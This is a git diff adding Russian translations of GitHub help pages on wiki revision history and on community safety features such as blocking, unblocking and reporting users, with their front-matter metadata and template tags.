+intro: Вы можете использовать вики-сайт для предоставления подробной информации о проекте. +redirect_from: + - /categories/49/articles + - /categories/wiki + - /articles/documenting-your-project-with-wikis + - /github/building-a-strong-community/documenting-your-project-with-wikis +product: '{% data reusables.gated-features.wikis %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /about-wikis + - /adding-or-editing-wiki-pages + - /creating-a-footer-or-sidebar-for-your-wiki + - /editing-wiki-content + - /viewing-a-wikis-history-of-changes + - /changing-access-permissions-for-wikis + - /disabling-wikis +ms.openlocfilehash: a8d90ea14031f629ae764847c18b09f922f57365 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092429' +--- + diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md new file mode 100644 index 000000000000..ba3539d5fe7d --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md @@ -0,0 +1,59 @@ +--- +title: Просмотр истории изменений вики-сайта +intro: 'Так как вики-сайты являются репозиториями Git, каждое изменение, которое вы вносите, будет фиксацией, которую можно просмотреть.' +product: '{% data reusables.gated-features.wikis %}' +redirect_from: + - /articles/viewing-a-wiki-s-history-of-changes + - /articles/viewing-a-wikis-history-of-changes + - /github/building-a-strong-community/viewing-a-wikis-history-of-changes +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: View a history of changes +ms.openlocfilehash: 1c5330a9067749b4bf0d1f2ed4e6fb9f10b38602 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092426' +--- +## Просмотр журнала вики-сайта + +Журнал вики-сайта содержит следующие сведения: +- пользователь, внесший изменение; +- предоставленное им сообщение о фиксации; +- время внесения изменения. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +3. С помощью боковой панели вики-сайта перейдите на страницу, историю которой нужно просмотреть. +4. В верхней части вики-сайта щелкните ссылку на редакцию. + ![Ссылка на редакцию вики-сайта](/assets/images/help/wiki/wiki_revision_link.png) + +## Просмотр предыдущего содержимого + +В таблице журнала вики-сайта можно щелкнуть [хэш SHA-1](http://en.wikipedia.org/wiki/SHA-1) (последовательность букв и цифр справа), чтобы увидеть вики-страницу в том состоянии, в каком она была в определенный момент времени. + +![Число SHA вики-сайта](/assets/images/help/wiki/wiki_sha_number.png) + +## Сравнение двух редакций + +1. Выберите две строки, которые требуется сравнить. +2. В верхней части таблицы журнала нажмите кнопку **Сравнить редакции**. + ![Кнопка для сравнения редакций вики-сайта](/assets/images/help/wiki/wiki_compare_revisions.png) +3. Вы увидите различия: какие строки были добавлены, удалены и изменены. + +## Отмена предыдущих изменений + +Отменять изменения можно только при наличии разрешения на изменение вики-сайта. + +1. Выберите строку, которую требуется отменить. +2. В верхней части таблицы журнала нажмите кнопку **Сравнить редакции**. + ![Кнопка для сравнения редакций вики-сайта](/assets/images/help/wiki/wiki_compare_revisions.png) +3. Вы увидите различия: какие строки были добавлены, удалены и изменены. + ![Различия между редакциями вики-сайта](/assets/images/help/wiki/wiki_revision_diff.png) +4. Чтобы отменить новые изменения, нажмите кнопку **Отменить изменения**. + ![Кнопка для отмены изменений на вики-сайте](/assets/images/help/wiki/wiki_revert_changes.png) diff --git a/translations/ru-RU/content/communities/index.md b/translations/ru-RU/content/communities/index.md new file mode 100644 index 000000000000..cb0f54ed35f7 --- /dev/null +++ b/translations/ru-RU/content/communities/index.md @@ -0,0 +1,45 @@ +--- +title: Создание сообществ +shortTitle: Building communities +intro: 'Ознакомьтесь с рекомендациями по модерации и настройке совместных, безопасных и эффективных сообществ с помощью средств, протестированных сообществом GitHub.' +redirect_from: + - /categories/building-a-strong-community + - /github/building-a-strong-community +changelog: + label: wikis +featuredLinks: + guides: + - /communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors + - /communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project + - /communities/moderating-comments-and-conversations/managing-disruptive-comments + guideCards: + - /communities/documenting-your-project-with-wikis/editing-wiki-content + - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account + - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization + popular: + - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository + - /communities/maintaining-your-safety-on-github/reporting-abuse-or-spam + - /communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository + - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /setting-up-your-project-for-healthy-contributions + - /using-templates-to-encourage-useful-issues-and-pull-requests + - /moderating-comments-and-conversations + - /maintaining-your-safety-on-github + - /documenting-your-project-with-wikis +ms.openlocfilehash: f6149257ddb7cd77e8ed933d44229be5a46268bb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092425' +--- + diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md new file mode 100644 index 000000000000..d8bd5af2022c --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md @@ -0,0 +1,80 @@ +--- +title: Блокировка пользователя из вашей организации +intro: 'Владельцы и модераторы организации могут запретить всем, кто не является участником организации, совместно работать с репозиториями организации.' +redirect_from: + - /articles/blocking-a-user-from-your-organization + - /github/building-a-strong-community/blocking-a-user-from-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Block from your org +ms.openlocfilehash: 527ce4fcf92946836f7a3d93e5caf07193561d4b +ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164358' +--- +Можно заблокировать не являющихся членами пользователей в настройках вашей организации или из определенного комментария, сделанного пользователем. При блокировке пользователя в комментарии можно отправить ему уведомление о том, что он заблокирован, а также указывающее причину блокировки. В противном случае пользователь не получает непосредственного уведомления о том, что его заблокировали. Заблокированные пользователи по-прежнему могут удалять существующее содержимое. + +{% data reusables.organizations.blocking-a-user %} + +{% tip %} + +**Совет.** Если вы блокируете пользователя из-за накаленной беседы, рассмотрите возможность блокировки беседы, чтобы комментировать могли только участники совместной работы. Дополнительные сведения см. в разделе [Блокировка бесед](/communities/moderating-comments-and-conversations/locking-conversations). + +{% endtip %} + +Во время блокировки пользователя из организации: +- Пользователь перестает просматривать репозитории организации. +- Звезды и назначения проблем пользователя удаляются из ваших репозиториев +- Голоса пользователя в обсуждениях или комментарии в репозиториях организации удаляются. +- Пользователь удаляется как участник совместной работы в репозиториях организации. +- Вклады пользователя в репозитории организации больше не учитываются. +- Все ожидающие приглашения репозитория или организации для заблокированного пользователя отменяются. + +После блокировки пользователя из организации он не может: +- Делать перекрестные ссылки на репозитории организации в комментариях. +- Создавать вилки, просматривать, закреплять или отмечать звездочкой репозитории организации. + +В репозиториях организации заблокированные пользователи также не могут: +- Открывать проблемы +- Отправлять, закрывать или объединять запросы на вытягивание +- Оставлять комментарии по проблемам, запросам на вытягивание или фиксациям +- Добавлять и изменять вики-страницы + +## Блокировка пользователя в комментарии + +1. Перейдите к комментарию, автора которого вы хотите заблокировать. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Заблокировать пользователя**. +![Значок горизонтального многоточия и меню модерации комментариев, показывающее опцию блокировки пользователя](/assets/images/help/repository/comment-menu-block-user.png) +3. Если вы хотите задать ограничение времени для блока, используйте раскрывающееся меню блокировки пользователя и выберите время, на которое вы хотите его заблокировать. +![Ограничение по времени блока в раскрывающемся меню блокировки пользователя](/assets/images/help/organizations/org-block-options-menu-from-comment.png) +4. Если вы хотите скрыть все комментарии, сделанные пользователем в организации, выберите **Скрыть комментарии этого пользователя**, а затем причину. +![Отправка уведомления в раскрывающемся меню блокировки пользователя](/assets/images/help/organizations/org-block-options-menu-hide-user-comments.png) +5. Если вы хотите уведомить пользователя, почему он заблокирован, выберите **Отправить уведомление этому пользователю**. +![Отправка уведомления в раскрывающемся меню блокировки пользователя](/assets/images/help/organizations/org-block-options-menu-send-notification.png) +6. Чтобы заблокировать пользователя, щелкните **Заблокировать пользователя из организации** или **Заблокировать пользователя из организации и отправить сообщение**. +![Кнопка "Заблокировать пользователя"](/assets/images/help/organizations/org-block-user-button-in-comment.png) + +## Блокировка пользователя в параметрах организации + +1. Чтобы заблокировать члена организации, сначала [удалите пользователя](/articles/removing-a-member-from-your-organization) из организации. + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.block_users %} +6. В разделе "Заблокировать пользователя" введите имя пользователя, которого нужно заблокировать. +![Поле имени пользователя](/assets/images/help/organizations/org-block-username-field.png) +7. Если вы хотите задать ограничение времени для блока, используйте раскрывающееся меню параметров блокировки и выберите время, на которое вы хотите заблокировать пользователя. +![Раскрывающееся меню параметров блокировки](/assets/images/help/organizations/org-block-options-menu.png) +8. Нажмите кнопку **Заблокировать пользователя**. +![Кнопка "Заблокировать"](/assets/images/help/organizations/org-block-user-button.png) + +## Дополнительные материалы + +- [Просмотр пользователей, которые заблокированы из вашей организации](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization) +- [Разблокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) +- [Блокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) +- [Разблокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md new file mode 100644 index 000000000000..f56fc2d2e70e --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md @@ -0,0 +1,92 @@ +--- +title: Блокировка пользователя из вашей личной учетной записи +intro: 'Вы можете запретить пользователю доступ к действиям и репозиториям, а также запретить отправку вам уведомлений.' +redirect_from: + - /articles/blocking-a-user-from-your-personal-account + - /github/building-a-strong-community/blocking-a-user-from-your-personal-account +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Block from your account +ms.openlocfilehash: bd657c221b007b6b574e97f54f2b330401b8fd9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147422879' +--- +## Сведения о блокировке пользователей + +Вы можете заблокировать пользователя в параметрах вашей учетной записи или из профиля пользователя. {% data variables.product.prodname_dotcom %} не уведомляет пользователя о том, что вы его заблокировали. Если вы хотите избежать участия в том же проекте, что и заблокированный вами пользователь, вы можете отобразить предупреждение во всех репозиториях с предыдущими вкладами заблокированного пользователя. Дополнительные сведения см. в разделе [Блокировка пользователя в параметрах учетной записи](#blocking-a-user-in-your-account-settings). Вы по-прежнему сможете видеть активность заблокированных пользователей в общих пространствах, а заблокированные пользователи смогут удалить свое существующее содержимое. + +{% tip %} + +**Совет.** Если вы блокируете пользователя из-за накаленной беседы, рассмотрите возможность блокировки беседы, чтобы комментировать могли только участники совместной работы. Дополнительные сведения см. в разделе [Блокировка бесед](/communities/moderating-comments-and-conversations/locking-conversations). + +{% endtip %} + +Когда вы блокируете пользователя, происходит следующее. +- Пользователь перестает быть вашим подписчиком +- Пользователь перестает отслеживать ваши репозитории и открепляет их +- Пользователь не может присоединиться к каким-либо организациям, в которых вы являетесь владельцем +- Звезды и назначения проблем пользователя удаляются из ваших репозиториев +- Голоса пользователя в обсуждениях или комментарии в ваших репозиториях удаляются +- Пользователь удаляется как участник совместной работы в ваших репозиториях +- Вклады пользователя в ваши репозитории больше не учитываются как вклады в них +- Ваши вклады в репозитории заблокированного пользователя больше не учитываются как вклады в них +- Вы удаляетесь как участник совместной работы в репозиториях заблокированного пользователя +- Его спонсорство вас отменяется +- Все ожидающие приглашения репозитория или последователя учетной записи для заблокированного пользователя или от него отменяются +- Пользователь удаляется в качестве участника совместной работы из всех проектов и {% data variables.projects.projects_v1_boards %}, принадлежащих вам +- Вы удаляетесь в качестве участника совместной работы из всех проектов и {% data variables.projects.projects_v1_boards %}, принадлежащих пользователю + +После блокировки пользователя он не сможет выполнять следующее. +- Отправлять вам какие-либо уведомления, в том числе путем упоминания ([@mentioning](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)) вашего имени пользователя +- Комментировать или редактировать проблемы или запросы на вытягивание, созданные вами +- Реагировать на ваши комментарии в проблемах, запросах на вытягивание и фиксациях +- Стать вашим подписчиком или видеть ваше содержимое в своем веб-канале действий +- Назначать вас для проблем или запросов на вытягивание +- Приглашать вас как участника совместной работы в его репозиториях +- Приглашать вас как участника совместной работы по рекомендациям по безопасности +- Делать перекрестные ссылки на ваши репозитории в комментариях +- Создавать вилки, отслеживать, закреплять или отмечать звездочкой ваши репозитории +- Спонсировать вас +- Добавлять вас в качестве участника совместной работы в своих проектах и {% data variables.projects.projects_v1_boards %} +- Вносить изменения в общедоступные проекты и {% data variables.projects.projects_v1_boards %} + +Кроме того, в принадлежащих вам репозиториях заблокированные пользователи не смогут выполнять следующее. +- Открывать проблемы +- Отправлять, закрывать или объединять запросы на вытягивание +- Оставлять комментарии по проблемам, запросам на вытягивание или фиксациям +- Добавлять и изменять вики-страницы + +## Блокировка пользователя в параметрах учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %} +3. В разделе "Блокировать пользователя" введите имя пользователя, которого вы хотите заблокировать, а затем нажмите кнопку **Блокировать пользователя**. + ![Поле имени пользователя и кнопка блокировки](/assets/images/help/settings/user-settings-block-user.png) +4. При желании вы можете задать, чтобы при посещении вами репозитория, где заблокированный пользователь является участником, отображалось предупреждение. Для этого установите флажок **Предупреждать меня, если заблокированный пользователь является предыдущим участником репозитория**. + ![Параметр предупреждения о заблокированных пользователях](/assets/images/help/settings/warn-block-user.png) + +## Блокировка пользователя на его странице профиля + +{% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %} +3. Нажмите кнопку **Заблокировать пользователя**. + ![Модальное поле с вариантами для блокировки пользователя или сообщения о нарушении](/assets/images/help/profile/profile-blockuser.png) + +{% note %} + +Используйте кнопку {% data variables.contact.report_abuse %}, чтобы связаться с нами, если вы подверглись преследованиям. {% data reusables.policies.abuse %} + +{% endnote %} + +## Дополнительные материалы + +- [Просмотр пользователей, заблокированных из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account) +- [Разблокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) +- [Блокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) +- [Разблокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +- [Ограничение взаимодействий в вашем репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/index.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/index.md new file mode 100644 index 000000000000..33d2b99462ef --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/index.md @@ -0,0 +1,31 @@ +--- +title: Поддержание безопасности на GitHub +shortTitle: Maintaining safety +intro: 'Чтобы создать позитивную и безопасную среду для себя и своего сообщества в рамках проекта в {% data variables.product.prodname_dotcom %}, можно заблокировать и разблокировать пользователей, а также сообщать о содержимом, нарушающим правила.' +redirect_from: + - /articles/encouraging-positive-contributions-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/encouraging-positive-contributions-in-your-organization + - /github/building-a-strong-community/encouraging-positive-contributions-to-your-project + - /articles/encouraging-positive-contributions-to-your-project + - /github/building-a-strong-community/maintaining-your-safety-on-github +versions: + fpt: '*' + ghec: '*' +topics: + - Community +children: + - /blocking-a-user-from-your-personal-account + - /viewing-users-youve-blocked-from-your-personal-account + - /unblocking-a-user-from-your-personal-account + - /blocking-a-user-from-your-organization + - /viewing-users-who-are-blocked-from-your-organization + - /unblocking-a-user-from-your-organization + - /reporting-abuse-or-spam +ms.openlocfilehash: efb5a58d8a9be4b6c6c4a2903bc714d35cd1ac9b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092402' +--- + diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md new file mode 100644 index 000000000000..76bad08aef7a --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md @@ -0,0 +1,73 @@ +--- +title: Сообщение о нарушении или спаме +intro: 'Вы можете сообщать о поведении и о содержимом, которое нарушает правила сообщества.' +redirect_from: + - /articles/reporting-abuse-or-spam + - /github/building-a-strong-community/reporting-abuse-or-spam +versions: + fpt: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: 288ba817cfeaeec0d695157fb6310ba6ab6a662f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092401' +--- +Владельцы, участники совместной работы, предыдущие участники и пользователи с доступом на запись могут сообщать о проблемах, запросах на вытягивание и комментариях к проблемам, запросам на вытягивание и фиксациям. Любой пользователь может сообщить о приложениях в {% data variables.product.prodname_marketplace %}. + +## Сведения о сообщении о нарушении или спаме + +{% data reusables.policies.github-community-guidelines-and-terms %} + +Вы можете сообщить о пользователях, которые нарушили рекомендации сообщества или условия использования {% data variables.product.prodname_dotcom %} с помощью {% data variables.contact.report_abuse %} или {% data variables.contact.report_content %}. Кроме того, можно сообщать о проблемах, запросах на вытягивание или комментариях к проблемам, запросам на вытягивание и фиксациям. + +Если сообщаемое содержимое касается общедоступного репозитория, вы также можете сообщать о содержимом прямо специалистам, обслуживающим репозиторий. + +Пользователи в Индии могут связаться со специалистом GitHub по принятию жалоб [здесь](https://support.github.com/contact/india-grievance-officer). + +## Сообщение о пользователе + +{% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %} +3. Нажмите **Сообщить о нарушении**. + ![Модальное поле с вариантами для блокировки пользователя или сообщения о нарушении](/assets/images/help/profile/profile-report-abuse.png) +4. Заполните форму контакта, чтобы сообщить {% data variables.contact.contact_support %} о поведении пользователя, а затем нажмите кнопку **Отправить запрос**. + +## Сообщение о проблеме или запросе на вытягивание + +1. Перейдите к проблеме или запросу на вытягивание, о котором вы хотите сообщить. +2. В правом верхнем углу проблемы или запроса на вытягивание щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, а затем нажмите **Сообщить о содержимом**. + ![Кнопка для сообщения о комментарии](/assets/images/help/repository/menu-report-issue-or-pr.png) {% data reusables.community.report-content %} + +## Сообщение о комментарии + +1. Перейдите к комментарию, о котором хотите сообщить. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, а затем нажмите **Сообщить о содержимом**. +![Параметр меню для сообщения о комментарии](/assets/images/help/repository/menu-report-comment.png) {% data reusables.community.report-content %} + +## Сообщение о приложении в {% data variables.product.prodname_marketplace %} + +{% data reusables.marketplace.visit-marketplace %} +2. Перейдите к приложению, о котором хотите сообщить. +3. На боковой панели слева в разделе "Ссылки для разработчиков" щелкните {% octicon "report" aria-label="The report symbol" %} **Сообщить о нарушении**. + ![Кнопка для сообщения о приложении в {% data variables.product.prodname_marketplace %}](/assets/images/help/marketplace/marketplace-report-app.png) +4. Заполните форму контакта, чтобы сообщить {% data variables.contact.contact_support %} о поведении приложения, а затем нажмите кнопку **Отправить запрос**. + +## Сообщение о нарушении в ссылке для обратной связи в средстве выбора шаблона + +1. Перейдите к репозиторию, содержащему ссылку для обратной связи, о которой хотите сообщить. +2. Под именем репозитория щелкните {% octicon "issue-opened" aria-label="The issues icon" %} **Проблемы**. +3. В правом нижнем углу окна средства выбора шаблона нажмите кнопку **Сообщить о нарушении**. + ![Ссылка на сообщение о нарушении](/assets/images/help/repository/template-chooser-report-abuse.png) +4. Заполните форму контакта, чтобы сообщить {% data variables.contact.contact_support %} о поведении ссылки для обратной связи, а затем нажмите кнопку **Отправить запрос**. + +## Дополнительные материалы + +- [Настройка проекта для внесения действенных вкладов](/communities/setting-up-your-project-for-healthy-contributions) +- [Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) +- [Управление деструктивными комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments){% ifversion fpt or ghec %} +- [Обеспечение безопасности в {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github) +- [Ограничение взаимодействий в вашем репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository){% endif %} +- [Отслеживание изменений в комментарии](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment) diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md new file mode 100644 index 000000000000..c948981f60bc --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md @@ -0,0 +1,49 @@ +--- +title: Разблокировка пользователя из вашей организации +intro: 'Владельцы и модераторы организации могут разблокировать пользователя, который ранее был заблокирован, путем восстановления доступа к репозиториям организации.' +redirect_from: + - /articles/unblocking-a-user-from-your-organization + - /github/building-a-strong-community/unblocking-a-user-from-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Unblock from your org +ms.openlocfilehash: 0c7099c21e3342717605f59a94e0025a7949b1cc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117664' +--- +После разблокировки пользователь из вашей организации сможет участвовать в работе репозиториев вашей организации. + +Если вы заблокировали пользователя на определенный период времени, пользователь будет разблокирован автоматически по истечении этого периода. Дополнительные сведения см. в статье [Блокировка пользователя из организации](/articles/blocking-a-user-from-your-organization). + +{% tip %} + +**Совет.** Все параметры, удаленные при блокировке пользователя из вашей организации, такие как статус участника совместной работы, звезды и контрольные значения, при разблокировке пользователя не восстанавливаются. + +{% endtip %} + +## Разблокировка пользователя в комментарии + +1. Перейдите к комментарию, автора которого вы хотите разблокировать. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Разблокировать пользователя**. +![Значок горизонтального многоточия и меню модерации комментариев, показывающее опцию разблокировки пользователя](/assets/images/help/repository/comment-menu-unblock-user.png) +3. Чтобы подтвердить разблокировку пользователя, нажмите **ОК**. + +## Разблокировка пользователя в параметрах организации + + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.block_users %} +1. В разделе "Заблокированные пользователи" нажмите **Разблокировать** рядом с пользователем, которого вы хотите разблокировать. +![Кнопка "Разблокировать пользователя"](/assets/images/help/organizations/org-unblock-user-button.png) + +## Дополнительные материалы + +- [Блокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) +- [Блокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) +- [Разблокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md new file mode 100644 index 000000000000..248d7da90c18 --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md @@ -0,0 +1,51 @@ +--- +title: Разблокировка пользователя в вашей личной учетной записи +intro: 'Если вы провели согласование с {% data variables.product.prodname_dotcom %}, вы можете разблокировать эту учетную запись.' +redirect_from: + - /articles/unblocking-a-user-from-your-personal-account + - /github/building-a-strong-community/unblocking-a-user-from-your-personal-account +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Unblock from your account +ms.openlocfilehash: a88a8613a8d787ee7e42ea9f6f5ef994353aedc8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092398' +--- +При разблокировке пользователя он сможет пригласить вас стать участником совместной работы в репозитории. Если он [@mention вас](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) на GitHub, вы получите уведомления. + +В ваших репозиториях пользователь сможет работать обычным образом. + +Вы можете разблокировать пользователя в параметрах своей учетной записи или на странице профиля пользователя. + +## Разблокировка пользователя в параметрах учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %} +3. В разделе "Заблокированные пользователи" нажмите **Разблокировать** рядом с пользователем, которого вы хотите разблокировать. +![Кнопка для разблокировки пользователя](/assets/images/help/organizations/org-unblock-user-button.png) + +## Разблокировка пользователя на его странице профиля + +{% data reusables.profile.user_profile_page_navigation %} +2. На левой боковой панели под изображением профиля пользователя выберите {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем щелкните **Разблокировать пользователя или отправить жалобу на него**. +![Ссылка, чтобы разблокировать пользователя или отправить жалобу на него](/assets/images/help/profile/profile-unblock-or-report-user.png) +3. Нажмите **Разблокировать пользователя**. + ![Модальное поле, где можно выбрать, разблокировать пользователя или сообщить о нарушении](/assets/images/help/profile/profile-unblockuser.png) + +{% tip %} + +**Совет.** Параметры, которые были удалены при блокировке пользователя, например состояние участника совместной работы, звезды и подписки, не восстанавливаются после разблокировки. + +{% endtip %} + +## Дополнительные материалы + +- [Блокировка пользователя в вашей личной учетной записи](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) +- [Блокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) +- [Разблокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md new file mode 100644 index 000000000000..ec628e5dcc8b --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md @@ -0,0 +1,28 @@ +--- +title: 'Просмотр пользователей, которые заблокированы из вашей организации' +intro: 'Вы можете просмотреть список всех пользователей, которых вы или другие владельцы заблокировали в вашей организации. Если пользователь был заблокирован на определенный период, вы можете просмотреть продолжительность периода блокировки.' +redirect_from: + - /articles/viewing-users-who-are-blocked-from-your-organization + - /github/building-a-strong-community/viewing-users-who-are-blocked-from-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: View blocked users in org +ms.openlocfilehash: 2d61ec620c87da63d72dad0b536d2dd7333923ff +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092397' +--- +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.block_users %} +5. В разделе "Заблокированные пользователи" проверьте список пользователей, заблокированных из вашей организации. + ![Список заблокированных пользователей](/assets/images/help/settings/list-of-blocked-users-for-org.png) + +## Дополнительные материалы + +- [Блокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) +- [Разблокировка пользователя из вашей организации](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) +- [Просмотр пользователей, заблокированных из вашей личной учетной записи](/articles/viewing-users-you-ve-blocked-from-your-personal-account) diff --git 